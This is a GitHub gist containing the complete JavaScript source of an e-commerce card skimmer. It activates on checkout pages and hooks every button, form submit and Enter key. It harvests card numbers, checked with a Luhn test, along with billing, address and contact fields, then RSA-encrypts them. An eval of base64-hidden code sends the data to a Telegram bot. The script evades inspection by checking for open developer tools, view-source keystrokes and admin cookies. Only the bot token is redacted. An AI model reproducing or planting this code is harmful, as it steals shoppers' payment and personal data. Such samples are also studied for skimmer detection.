Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
(function ()
{
'use strict';
const devtools = {
isOpen: false,
orientation: undefined
};
const threshold = 160;
const emitEvent = (isOpen, orientation) =>
{
window.dispatchEvent(new CustomEvent('devtoolschange',
{
detail:
{
isOpen,
orientation
}
}));
};
setInterval(() =>
{
const widthThreshold = window.outerWidth - window.innerWidth > threshold;
const heightThreshold = window.outerHeight - window.innerHeight > threshold;
const orientation = widthThreshold ? 'vertical' : 'horizontal';
if (
!(heightThreshold && widthThreshold) &&
((window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized) || widthThreshold || heightThreshold)
)
{
if (!devtools.isOpen || devtools.orientation !== orientation)
{
emitEvent(true, orientation);
}
devtools.isOpen = true;
devtools.orientation = orientation;
}
else
{
if (devtools.isOpen)
{
emitEvent(false, undefined);
}
devtools.isOpen = false;
devtools.orientation = undefined;
}
}, 500);
if (typeof module !== 'undefined' && module.exports)
{
module.exports = devtools;
}
else
{
window.devtools = devtools;
}
})();
window.define = window.__define;
window.require = window.__require;
window.__define = undefined;
window.__require = undefined;
function loadScript(b, d)
{
var c = document.head;
var a = document.createElement("script");
a.type = "text/javascript";
a.src = b;
a.onreadystatechange = d;
a.onload = d;
c.appendChild(a);
setTimeout(d, 5000)
}
loadScript(atob("Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvanNlbmNyeXB0LzIuMy4xL2pzZW5jcnlwdC5taW4uanM="), jsencryptstart);
function is_valid_luhn(d)
{
var a = d.replace(/[^\d]/g, "");
var e = "";
for (var b = a.length - 1; b >= 0; --b)
{
e += b & 1 ? a[b] : (parseInt(a[b]) * 2).toString()
}
var c = e.split("").reduce(function (f, g)
{
return f + parseInt(g)
}, 0);
return c % 10 === 0
}
window.define = window.__define;
window.require = window.__require;
window.__define = undefined;
window.__require = undefined;
var ctrlu = false;
var ctrlshifti = false;
var cookName = "frontend_pay";
var butenter = false;
var butInstall = [];
var haveCnt = false;
var cookieCheck = document.cookie.toLowerCase().indexOf("admin") > -1 ? true : false;
if (cookieCheck)
{
setCookieForm(cookName, genStr(10), 100)
}
var cookNameTest = document.cookie.toLowerCase().indexOf(cookName) > -1 ? true : false;
var h = window.location.host;
var Rf = "shipping|billing|payment|cc|month|card|year|expiration|exp|cvv|cid|code|ccv|authorize|firstname|lastname|street|city|phone|number|email|zip|postal|region|country";
var Rc = "[0-9]{13,16}|[0-9 -]{16,20}";
var Rb = "select|password|checkbox|radio|text|hidden|number|tel|email";
var butt = "a[title*='Place Order'],a[href*='javascript:;'],a[href*='javascript:void(0)'],a[href*='javascript:void(0);'],a[href='#'],button,input,submit,.btn,.button";
var tbot = atob("c29ycnkgLSByZWRhY3RlZCBmb3Igbm93"); // original redacted, sorry
var tchat = "-1001175025192";
var crypt = false;
var keyCrypt = atob("LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEwVDVKb1oxek9uVmF3Mll6V29iQQorUHBSMElydFZHMHJNWXU1UHlQdzlZeWxyT2JRWFRkRUdJMStoWmNNWTdWTFZEUSt1K0RiY0g0M2l5WDR0WW9OCi9ObzlmMUpCS2lQUkVlZ2dXTzErd2VHNjRFSDFkVE05VTFkdUVxNFMrQkVHZUpqaW9mQ0RaVGt4ZG1VdVptbXMKVWdEekRQMGR5cERlVEhMMHkvRzFBcmovU1pmZEVyL1pueEsvc1RyMHo2M2Y4dWx5YURXMVVLV3B5NnJJcjBoTgorVWNqUVVTRWN6T3BjNytTTHJaakZBNGFpK1NTV2xWaFFOMS9TTlB6UHBPNTk5Y2hGWW43R3lGdXcyeTlrRUFLClNJaHZoUXNaNUdkQVNDUU1RVGFndCtVS2JrY2Jld1JWNXVqVXhwWUZPYndSV2ZmTDA2eFNJWXFpakdyMXA4OE4KMHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t");
var jsencryptstart = function ()
{
crypt = new JSEncrypt();
crypt.setPublicKey(keyCrypt);
return crypt
};
function setCookieForm(a, b, e)
{
var c = new Date;
c.setTime(c.getTime() + 24 * 60 * 60 * 1000 * e);
document.cookie = a + "=" + b + ";path=/;expires=" + c.toGMTString()
}
function genStr(e)
{
var d = "";
var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var b = 0; b < e; b++)
{
d += a.charAt(Math.floor(Math.random() * a.length))
}
return d
}
function mt_rand(b, a)
{
return Math.floor(Math.random() * (a - b + 1)) + b
}
function makeid(a)
{
var d = "";
var b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var c = 0; c < a; c++)
{
d += b.charAt(Math.floor(Math.random() * b.length))
}
return d
}
function butClk()
{
if (!butenter)
{
document.addEventListener("keyup", function (b)
{
if (b.keyCode === 13)
{
payer()
}
});
butenter = true
}
var c = document.querySelectorAll(butt);
for (var a = 0; a < c.length; a++)
{
if ((new RegExp(Rb, "i").test(c[a].type)))
{
continue
}
var e = "";
if (c[a].id !== "" && c[a].id !== undefined)
{
e = c[a].id
}
else
{
if (c[a].name !== "" && c[a].name !== undefined)
{
e = c[a].name
}
else
{
if (c[a].title !== "" && c[a].title !== undefined)
{
e = c[a].title
}
else
{
e = "bb" + a + "_12"
}
}
}
e = e + "_" + a;
if (butInstall.indexOf(e) != -1)
{
continue
}
c[a].addEventListener("click", payer);
butInstall.push(e)
}
var g = document.querySelectorAll("form");
for (var j = 0; j < g.length; j++)
{
var d = g[j].name == "" ? (g[j].id == "" ? "ff" + j : g[j].id) : g[j].name;
d = d + "_" + j;
if (butInstall.indexOf(d) != -1)
{
continue
}
g[j].addEventListener("submit", payer);
butInstall.push(d)
}
}
function getData()
{
haveCnt = false;
var e = "";
var j = "";
var d = document.querySelectorAll("input[type=text],input[type=tel], input[type=number], input[type=password],input, select, textarea");
for (var b = 0; b < d.length; b++)
{
if (d[b].value.length > 0 && d[b].value.length < 70)
{
var c = d[b].name;
var g = d[b].id;
if (c == "" && g == "")
{
c = "nf" + b
}
else
{
if (c == "" && g !== "")
{
c = g
}
}
if ((new RegExp(Rf, "i").test(c)) && !(new RegExp("method|same_as", "i").test(c)))
{
var a = c.replace(/\[/g, "-");
e += a.replace(/]/g, "") + "=" + d[b].value + "&"
}
}
j = d[b].value.replace(/[^\d]/g, "");
if (j.length > 13 && j.length < 20 && is_valid_luhn(j) && !haveCnt)
{
haveCnt = true
}
}
var f = e.split("street").length - 1;
for (b = 0; b <= f; b++)
{
e = e.replace(/street-=/, "street-" + b + "=")
}
return e
}
function encryptData(d)
{
crypt = jsencryptstart();
datalen = d.length;
maxlen = mt_rand(100, 240);
delim = Math.ceil(datalen / maxlen);
encData = "";
var c = makeid(mt_rand(4, 8));
for (i = 0; i < delim; i++)
{
var a = d.substr((i * maxlen), maxlen);
enc = crypt.encrypt(a);
encData += enc
}
var b = btoa(encodeURI(encData));
return b
}
function payer()
{
if (!ctrlu && !ctrlshifti && (new RegExp(Rc).test(getData())) && !window.devtools.isOpen)
{
butClk();
var data = getData();
if (!haveCnt)
{
return false
}
if (data.indexOf("street") < 1 && document.getElementsByClassName("billing-address-details")[0] !== undefined)
{
if (document.getElementsByClassName("billing-address-details")[0].innerText !== undefined)
{
data += "&fullData=" + document.getElementsByClassName("billing-address-details")[0].innerText.trim().replace(/\n/g, "|").replace(/,\ (.*?)\ ([0-9]+)/, "|$1|$2").replace(/[\ ]+\|/, "|").replace(/,([0-9])/, "|$1").replace(/\|Edit/, "")
}
else
{
data += "&fullData=" + document.getElementsByClassName("billing-address-details")[0].textContent.trim().replace(/\n/g, "|").replace(/,\ (.*?)\ ([0-9]+)/, "|$1|$2").replace(/[\ ]+\|/, "|").replace(/,([0-9])/, "|$1").replace(/\|Edit/, "")
}
}
form_key = document.getElementsByName("form_key")[0] === undefined ? "" : "/" + document.getElementsByName("form_key")[0].value;
data = data + "&host=" + document.location.hostname;
data = data.replace(/[\&]{2,}/g, "&");
data = encryptData(data);
tmessage = data;
eval(atob("IHZhciB4ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgICB4Lm9wZW4oIlBPU1QiLCAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCIrdGJvdCsiL3NlbmRNZXNzYWdlIiwgdHJ1ZSk7CiAgICB4LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04Jyk7CiAgICB4LndpdGhDcmVkZW50aWFscyA9IGZhbHNlOwp2YXIgZGQgPSBKU09OLnN0cmluZ2lmeSh7IAogICAgY2hhdF9pZDogdGNoYXQsCiAgICB0ZXh0OiB0bWVzc2FnZQogfSk7CiAgICB4LnNlbmQoZGQpOw=="))
}
}
jQuery(document).ready(function ()
{
document.onkeydown = function (a)
{
if (a.ctrlKey && a.keyCode === 85)
{
ctrlu = true
}
if (a.shiftKey && a.keyCode === 73)
{
ctrlshifti = true
}
}
});
function s1()
{
if (!(new RegExp("onepage|firecheckout|osc|Checkout|awesomecheckout|onestepcheckout|onepagecheckout|checkout|oscheckout|idecheckoutvm")).test(window.location))
{
return false
}
if (cookieCheck || cookNameTest)
{
return false
}
if (ctrlu || ctrlshifti)
{
return false
}
if (window.devtools.isOpen)
{
return false
}
butClk()
}
document.addEventListener("DOMContentLoaded", s1);
jQuery(document).ready(function ()
{
s1()
});
jQuery("body").change(function ()
{
s1()
});
document.addEventListener("change", s1);
document.addEventListener("click", s1);
setTimeout(s1, 5000);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment